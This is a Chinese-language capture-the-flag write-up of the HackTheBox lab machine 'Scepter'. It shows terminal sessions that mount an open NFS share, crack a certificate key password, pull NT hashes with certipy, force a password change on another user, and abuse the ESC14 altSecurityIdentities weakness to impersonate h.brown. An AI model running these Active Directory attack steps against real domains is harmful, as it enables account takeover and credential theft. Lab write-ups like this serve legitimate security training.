┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ cat hostname 
10.129.103.0     DC01.scepter.htb scepter.htb DC01

入口

并未存在smb和rpc匿名，进行端口扫描

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ rustscan -a $ip
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.103.0:53
Open 10.129.103.0:88
Open 10.129.103.0:111
Open 10.129.103.0:135
Open 10.129.103.0:139
Open 10.129.103.0:389
Open 10.129.103.0:445
Open 10.129.103.0:464
Open 10.129.103.0:593
Open 10.129.103.0:636
Open 10.129.103.0:2049
Open 10.129.103.0:3268
Open 10.129.103.0:3269
Open 10.129.103.0:5986
Open 10.129.103.0:5985
Open 10.129.103.0:9389
Open 10.129.103.0:47001
Open 10.129.103.0:49664
Open 10.129.103.0:49667
Open 10.129.103.0:49665
Open 10.129.103.0:49666
Open 10.129.103.0:49671
Open 10.129.103.0:49688
Open 10.129.103.0:49693
Open 10.129.103.0:49689
Open 10.129.103.0:49692
Open 10.129.103.0:49706
Open 10.129.103.0:49720
Open 10.129.103.0:49736
Open 10.129.103.0:49754
[~] Starting Script(s)

开放nfs端口，查看是否存在未授权

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ showmount -e $ip
Export list for 10.129.103.0:
/helpdesk (everyone)

挂载后，发现是4个用户的证书

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ sudo mount -t nfs $ip:/helpdesk ./test

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ cd test/
-bash: cd: test/: Permission denied

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ su root
Password: 
┌──(root㉿kali)-[/home/wackymaker/tmp/hackthebox/scepter]
└─# cd test                         
                                                                                                                                                     
┌──(root㉿kali)-[/home/…/tmp/hackthebox/scepter/test]
└─# dir
baker.crt  baker.key  clark.pfx  lewis.pfx  scott.pfx

抓取到本地，修正权限

┌──(root㉿kali)-[/home/…/tmp/hackthebox/scepter/test]
└─# cp * ../                                                                    
                                                                                                                                                     
┌──(root㉿kali)-[/home/…/tmp/hackthebox/scepter/test]
└─# cd ../ 
                                                                                                                                                     
┌──(root㉿kali)-[/home/wackymaker/tmp/hackthebox/scepter]
└─# su wackymaker                                                           
┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ chmod 777 *
chmod: changing permissions of 'baker.crt': Operation not permitted
chmod: changing permissions of 'baker.key': Operation not permitted
chmod: changing permissions of 'clark.pfx': Operation not permitted
chmod: changing permissions of 'lewis.pfx': Operation not permitted
chmod: changing permissions of 'scott.pfx': Operation not permitted
chmod: changing permissions of 'test': Permission denied

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ sudo chmod 777 *
chmod: changing permissions of 'test': Permission denied

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ dir
baker.crt  baker.key  clark.pfx  hostname  krb5.conf  lewis.pfx  scott.pfx  start.sh  test

只有baker提供了key文件，所以先爆破他

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ cat baker.hash 
$PEM$1$4$d7b39fa5d2d1d06153a95e1d2a80de86$2048$472edaace794795742a020c4e126cdd4$1232$1e3ebe95baabe7041737c3aac5ee7b879bee03c8a121c22d7bf8290d1367233bcb0ef990de04ab244e75774138561cf1712607e379b75fae0643c9a41123aea0a879261c17e7ebd61ef6ca335f24a267e95f830785ed09c1b968f0385cde3d814ae851a18a46f6627049d013605c319589d6179e3df5b0c71a43e738f911d3c0bf151c96d50849ab230634b9c9f48c655b2498f859bfd1140ecaee214b4bbcece2e88255bd3888437eeeabcf441d0d622cfb5750c6bc046ba38174bfaadfc3522ba1f6701a290984edc86c3f3a4ce5e7e2eb9f8d756b61dda53f098d78a74cd64cb67f61c30e9432aa8c518cd71bacdf050fef4a8bad216d3f5a48396f80552bfc16fc4161eaf701956564d02757cfc91272c5b1eca178e32a8a4cdfda5867ef631d83596d7b706cd4b0ebc0996d4e5e0bb6601615023b3abdb5d8cc9caacd328896c48a9a73fec336a8c6002c4ff42d1001e9a4c0c85b48c40e9603711bd18b9fff123a5d6f3dd7113bc45c58f5384a56570593c5948cb62123091254fdbb6246c5e8075a759af1c40354723be5d7f77c97e5645b15407ee6df6df17ad50ac52dd497c535d55a982e018730089c582eb7be0d88843bbdb7b73a536cb1ed195ad7f0a1fe26cdbe14d5eedd09f7c3d08a0a5cbc5986ccdd09abdef1e35a1d88ba37bc0ee4072d369e47850161b6881349ef7d3479c4e35cd11d371e8ec16c5104bf9a9cee6d45e3686913b79b8f4495eec39fa3731a593af5ca6faa8374951209afce7787c6826406b5a281aff5c8722420fcaf7a0815076b2a7a59c05c030b5365e51024cfd5fea85e1ed8a9b098ee2737818b7e488ada5a7db95caca3129ad20a13def66f97c35f435d9c3092acd65e4d73580b804ddbeb7887540fd617965368dfccd2c0703a03f9a52ba56fc90841b033339ee8c4c273f87734260e70fbdc7372f6d305ceb583a3a7a8330dda76265896fa7e905319bb7c9a3f014b46192927ce267755b31c7ea0b8bdb3f2f3c7767c7b7d4169883a68e9329c1939ba2d03cacca60e35171b1742af66a99cb4f2da6917a4f40ddc1803cb2889ce126cca5402eb80cfd5894702ad1f0946a0936d06b2dfad52ac5273bf1466690ce63221108132533223abb62cf2d5911209c7eb5a8d0864ce17d399dc7a09052679a254db02fdd9f6358ea4de45c9b64fbd13547299936b2971a1a9955711816745033e762473427d58c27c9e9d45b54fc5b482daf1cdfd825af0b71003444680ac68875b110bfdc71c5433c2d27fc67a7f764e18b27b6b50e82bf3f99c8d8a9087b5aa4731c5606fd5136229cb75d3ea238d8b6de08220163fd2957b471170f4b08cde05cd01fe7d7deb7f5c7c61c408f54ae272ac48d8833743d74391984ccf8ca34ad3b65c6a4ea39a1d022393c926fdb5f96f2993a0817299135128ee51e95987cab7b6da42550415bd91b2503426306d27c7dd26a7475b5fbcde8f10378009b58a8d0c1e9d1dac4c9b01bb2f55a708ca1f6c60f194af9b76c82bdc16a95edd27ebe25703a892ee2f09c184e50e9e546174d3f3b7d419e8cd057842b09383649190c558f197924c86668b6ef14d5b46030197bc5a75fb2ec629ed7f9a8db73784e488214d493ae7eb19643156f92815d5dc4411bd2f5e54c2cae97f3af6080e49de444c071b994278c9f74c964f02855148f7a73086d96cab68d267e388e8dec149ce8521c9429461f9f694cb67c0ebf0fff0

hashcat的24420模式与他类似，需要将$PEM$1改为$PEM$2进行爆破

hashcat baker.hash rockyou.txt 
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

24420 | PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES) | Private Key
...[snip]...
$PEM$2$4$d7b39fa5d2d1d06153a95e1d2a80de86$2048$472edaace794795742a020c4e126cdd4$1232$1e3ebe95baabe7041737c3aac5ee7b879bee03c8a121c22d7bf8290d1367233bcb0ef990de04ab244e75774138561cf1712607e379b75fae0643c9a41123aea0a879261c17e7ebd61ef6ca335f24a267e95f830785ed09c1b968f0385cde3d814ae851a18a46f6627049d013605c319589d6179e3df5b0c71a43e738f911d3c0bf151c96d50849ab230634b9c9f48c655b2498f859bfd1140ecaee214b4bbcece2e88255bd3888437eeeabcf441d0d622cfb5750c6bc046ba38174bfaadfc3522ba1f6701a290984edc86c3f3a4ce5e7e2eb9f8d756b61dda53f098d78a74cd64cb67f61c30e9432aa8c518cd71bacdf050fef4a8bad216d3f5a48396f80552bfc16fc4161eaf701956564d02757cfc91272c5b1eca178e32a8a4cdfda5867ef631d83596d7b706cd4b0ebc0996d4e5e0bb6601615023b3abdb5d8cc9caacd328896c48a9a73fec336a8c6002c4ff42d1001e9a4c0c85b48c40e9603711bd18b9fff123a5d6f3dd7113bc45c58f5384a56570593c5948cb62123091254fdbb6246c5e8075a759af1c40354723be5d7f77c97e5645b15407ee6df6df17ad50ac52dd497c535d55a982e018730089c582eb7be0d88843bbdb7b73a536cb1ed195ad7f0a1fe26cdbe14d5eedd09f7c3d08a0a5cbc5986ccdd09abdef1e35a1d88ba37bc0ee4072d369e47850161b6881349ef7d3479c4e35cd11d371e8ec16c5104bf9a9cee6d45e3686913b79b8f4495eec39fa3731a593af5ca6faa8374951209afce7787c6826406b5a281aff5c8722420fcaf7a0815076b2a7a59c05c030b5365e51024cfd5fea85e1ed8a9b098ee2737818b7e488ada5a7db95caca3129ad20a13def66f97c35f435d9c3092acd65e4d73580b804ddbeb7887540fd617965368dfccd2c0703a03f9a52ba56fc90841b033339ee8c4c273f87734260e70fbdc7372f6d305ceb583a3a7a8330dda76265896fa7e905319bb7c9a3f014b46192927ce267755b31c7ea0b8bdb3f2f3c7767c7b7d4169883a68e9329c1939ba2d03cacca60e35171b1742af66a99cb4f2da6917a4f40ddc1803cb2889ce126cca5402eb80cfd5894702ad1f0946a0936d06b2dfad52ac5273bf1466690ce63221108132533223abb62cf2d5911209c7eb5a8d0864ce17d399dc7a09052679a254db02fdd9f6358ea4de45c9b64fbd13547299936b2971a1a9955711816745033e762473427d58c27c9e9d45b54fc5b482daf1cdfd825af0b71003444680ac68875b110bfdc71c5433c2d27fc67a7f764e18b27b6b50e82bf3f99c8d8a9087b5aa4731c5606fd5136229cb75d3ea238d8b6de08220163fd2957b471170f4b08cde05cd01fe7d7deb7f5c7c61c408f54ae272ac48d8833743d74391984ccf8ca34ad3b65c6a4ea39a1d022393c926fdb5f96f2993a0817299135128ee51e95987cab7b6da42550415bd91b2503426306d27c7dd26a7475b5fbcde8f10378009b58a8d0c1e9d1dac4c9b01bb2f55a708ca1f6c60f194af9b76c82bdc16a95edd27ebe25703a892ee2f09c184e50e9e546174d3f3b7d419e8cd057842b09383649190c558f197924c86668b6ef14d5b46030197bc5a75fb2ec629ed7f9a8db73784e488214d493ae7eb19643156f92815d5dc4411bd2f5e54c2cae97f3af6080e49de444c071b994278c9f74c964f02855148f7a73086d96cab68d267e388e8dec149ce8521c9429461f9f694cb67c0ebf0fff0:newpassword
...[snip]...

得到密码newpassword

用这个密码为baker创建证书，可以正常请求hash（其他证书我试过了，并不可以请求）

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ openssl pkcs12 -export -inkey baker.key -in baker.crt -out baker.pfx
Enter pass phrase for baker.key:
Enter Export Password:
Verifying - Enter Export Password:

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ dir
baker.crt  baker.hash  baker.key  baker.pfx  clark.pfx	hostname  krb5.conf  lewis.pfx	scott.pfx  start.sh  test

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy auth -pfx baker.pfx -dc-ip $ip
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'd.baker@scepter.htb'
[*]     Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-1106'
[*] Using principal: 'd.baker@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'd.baker.ccache'
[*] Wrote credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce

得到新用户

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ echo user=d.baker>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ echo hash=18b5fb0d99e7a475316213c15b6f22ce>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ nxc winrm $ip -u $user -H $hash
WINRM       10.129.103.0    5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb) 
WINRM       10.129.103.0    5985   DC01             [-] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ nxc smb $ip -u $user -H $hash
SMB         10.129.103.0    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domin:scepter.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.103.0    445    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce

没有winrm权限，抓猎犬

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodhound-python -d $domain -c ALL -u $user --hashes :$hash -ns $ip --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: scepter.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: unpack requires a buffer of 4 bytes
INFO: Connecting to LDAP server: dc01.scepter.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.scepter.htb
INFO: Found 11 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.scepter.htb
INFO: Done in 00M 19S
INFO: Compressing output into 20250901151445_bloodhound.zip

出站能改密码，但这个用户也不在远程管理组，改之前顺着用户往下看

此用户能完全掌控员工出入证这个ou，而这个ou里，或者说这个证书允许注册的用户是

这个用户的出站没有什么意义

ESC14

改密码后用A.CARTER查询易受攻击的证书

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ nxc smb $ip -u $user -H $hash -M change-password -o USER=A.CARTER  NEWPASS='wackyMAKER1!'
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.103.0    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domin:scepter.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.103.0    445    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce 
CHANGE-P... 10.129.103.0    445    DC01             [+] Successfully changed password for A.CARTER

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ echo user1=A.CARTER>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ echo pass1='wackyMAKER1!'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy find -u $user1 -p $pass1 -target $FQDN -dc-ip $ip -text -stdout -vulnerable
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'scepter-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'scepter-DC01-CA'
[*] Checking web enrollment for CA 'scepter-DC01-CA' @ 'dc01.scepter.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : scepter-DC01-CA
    DNS Name                            : dc01.scepter.htb
    Certificate Subject                 : CN=scepter-DC01-CA, DC=scepter, DC=htb
    Certificate Serial Number           : 716BFFE1BE1CD1A24010F3AD0E350340
    Certificate Validity Start          : 2024-10-31 22:24:19+00:00
    Certificate Validity End            : 2061-10-31 22:34:19+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SCEPTER.HTB\Administrators
      Access Rights
        ManageCa                        : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        ManageCertificates              : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        Enroll                          : SCEPTER.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy find -u $user1 -p $pass1 -target $FQDN -dc-ip $ip -text -stdout -vulnera^Ce

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy find -vulnerable -u $user -hashes :$hash -dc-ip $ip -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'scepter-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'scepter-DC01-CA'
[*] Checking web enrollment for CA 'scepter-DC01-CA' @ 'dc01.scepter.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : scepter-DC01-CA
    DNS Name                            : dc01.scepter.htb
    Certificate Subject                 : CN=scepter-DC01-CA, DC=scepter, DC=htb
    Certificate Serial Number           : 716BFFE1BE1CD1A24010F3AD0E350340
    Certificate Validity Start          : 2024-10-31 22:24:19+00:00
    Certificate Validity End            : 2061-10-31 22:34:19+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SCEPTER.HTB\Administrators
      Access Rights
        ManageCa                        : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        ManageCertificates              : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        Enroll                          : SCEPTER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : StaffAccessCertificate
    Display Name                        : StaffAccessCertificate
    Certificate Authorities             : scepter-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireEmail
                                          SubjectRequireDnsAsCn
                                          SubjectRequireEmail
    Enrollment Flag                     : AutoEnrollment
                                          NoSecurityExtension
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-01T02:29:00+00:00
    Template Last Modified              : 2024-11-01T09:00:54+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SCEPTER.HTB\staff
      Object Control Permissions
        Owner                           : SCEPTER.HTB\Enterprise Admins
        Full Control Principals         : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Owner Principals          : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Dacl Principals           : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
    [+] User Enrollable Principals      : SCEPTER.HTB\staff
    [!] Vulnerabilities
      ESC9                              : Template has no security extension.
    [*] Remarks
      ESC9                              : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

发现以d.baker的身份找到了ou同名证书，可以以esc9攻击，但是我尝试后发现并不可以

只能一点一点查看用户权限

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ powerview $domain/$user1:$pass1@$ip
/home/wackymaker/.local/share/pipx/venvs/powerview/lib/python3.13/site-packages/impacket/examples/ntlmrelayx/attacks/__init__.py:20: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Logging directory is set to /home/wackymaker/.powerview/logs/scepter-a.carter-10.129.103.0
╭─LDAPS─[dc01.scepter.htb]─[SCEPTER\a.carter]-[NS:10.129.103.0]
╰─PV ❯ Get-DomainUser -Identity h.brown -Properties *
objectClass                       : top
                                    person
                                    organizationalPerson
                                    user
cn                                : h.brown
givenName                         : h.brown
distinguishedName                 : CN=h.brown,CN=Users,DC=scepter,DC=htb
instanceType                      : 4
whenCreated                       : 31/10/2024 22:40:01 (10 months, 0 day ago)
whenChanged                       : 07/03/2025 22:19:11 (5 months, 24 days ago)
displayName                       : h.brown
uSNCreated                        : 16443
memberOf                          : CN=CMS,CN=Users,DC=scepter,DC=htb
                                    CN=Helpdesk Admins,CN=Users,DC=scepter,DC=htb
                                    CN=Protected Users,CN=Users,DC=scepter,DC=htb
                                    CN=Remote Management Users,CN=Builtin,DC=scepter,DC=htb
uSNChanged                        : 106593
name                              : h.brown
objectGUID                        : {b4dc0e39-0e8a-4d7c-b0ab-b55ada0f817d}
userAccountControl                : NORMAL_ACCOUNT
                                    DONT_EXPIRE_PASSWORD
badPwdCount                       : 0
codePage                          : 0
countryCode                       : 0
badPasswordTime                   : 01/01/1601 00:00:00 (424 years, 8 months ago)
lastLogoff                        : 1601-01-01 00:00:00+00:00
lastLogon                         : 01/11/2024 03:33:05 (10 months, 0 day ago)
logonHours                        : ////////////////////////////
pwdLastSet                        : 07/03/2025 22:19:11 (5 months, 24 days ago)
primaryGroupID                    : 513
objectSid                         : S-1-5-21-74879546-916818434-740295365-1108
accountExpires                    : 1601-01-01 00:00:00+00:00
logonCount                        : 3
sAMAccountName                    : h.brown
sAMAccountType                    : SAM_USER_OBJECT
userPrincipalName                 : h.brown@scepter.htb
objectCategory                    : CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
altSecurityIdentities             : X509:<RFC822>h.brown@scepter.htb
dSCorePropagationData             : 11/01/2024 04:07:16 AM
                                    01/01/1601 00:00:01 AM
lastLogonTimestamp                : 01/11/2024 00:19:13 (10 months, 0 day ago)
vulnerabilities                   : [VULN-002] User account with password that never expires (LOW)

直到我找到了h.brown的这个属性altSecurityIdentities : X509:h.brown@scepter.htb

ESC14这篇文章描述了esc14的状况，类比我们现在的例子也就是当存在证书以h.brown@scepter.htb邮箱请求h.brown认证的时候，无论这个证书的dn归属，都能认证成功

首先通过组的全局掌控权限将a用户本身也具备对ou的全掌握权限

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $ip -d scepter.htb -u $user1 -p $pass1 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter
[+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB

利用这权限修改其中d.baker的邮箱

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $ip -d scepter.htb -u $user1 -p $pass1 set object d.baker mail -v h.brown@scepter.htb
[+] d.baker's mail has been updated

以d.baker身份请求证书

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy req -username d.baker@scepter.htb -hashes :$hash -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip $ip
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 2
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
[*] Wrote certificate and private key to 'd.baker.pfx'

以这个证书去认证h.brown

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy auth -pfx d.baker.pfx -dc-ip $ip -domain scepter.htb -username h.brown
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'h.brown@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'h.brown.ccache'
[*] Wrote credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c

当设置altSecurityIdentities属性后，证书认证会变成弱匹配，只要证书属性中关于这个属性的值匹配一致，则允许认证

提权

此用户不允许ntlm认证，请求tgt登陆winrm之前看看猎犬

属于的组多，但是并没有发现有意思的

查看证书，也没有什么东西

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy find -target $FQDN -u $user2@$domain -no-pass -k -vulnerable -stdout -dc-ip $ip
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'scepter-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'scepter-DC01-CA'
[*] Checking web enrollment for CA 'scepter-DC01-CA' @ 'dc01.scepter.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : scepter-DC01-CA
    DNS Name                            : dc01.scepter.htb
    Certificate Subject                 : CN=scepter-DC01-CA, DC=scepter, DC=htb
    Certificate Serial Number           : 716BFFE1BE1CD1A24010F3AD0E350340
    Certificate Validity Start          : 2024-10-31 22:24:19+00:00
    Certificate Validity End            : 2061-10-31 22:34:19+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SCEPTER.HTB\Administrators
      Access Rights
        ManageCa                        : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        ManageCertificates              : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        Enroll                          : SCEPTER.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates

查看这个用户可写内容

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $FQDN --dc-ip $ip -d $domain -u $user2 -k get writable --detail

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=scepter,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
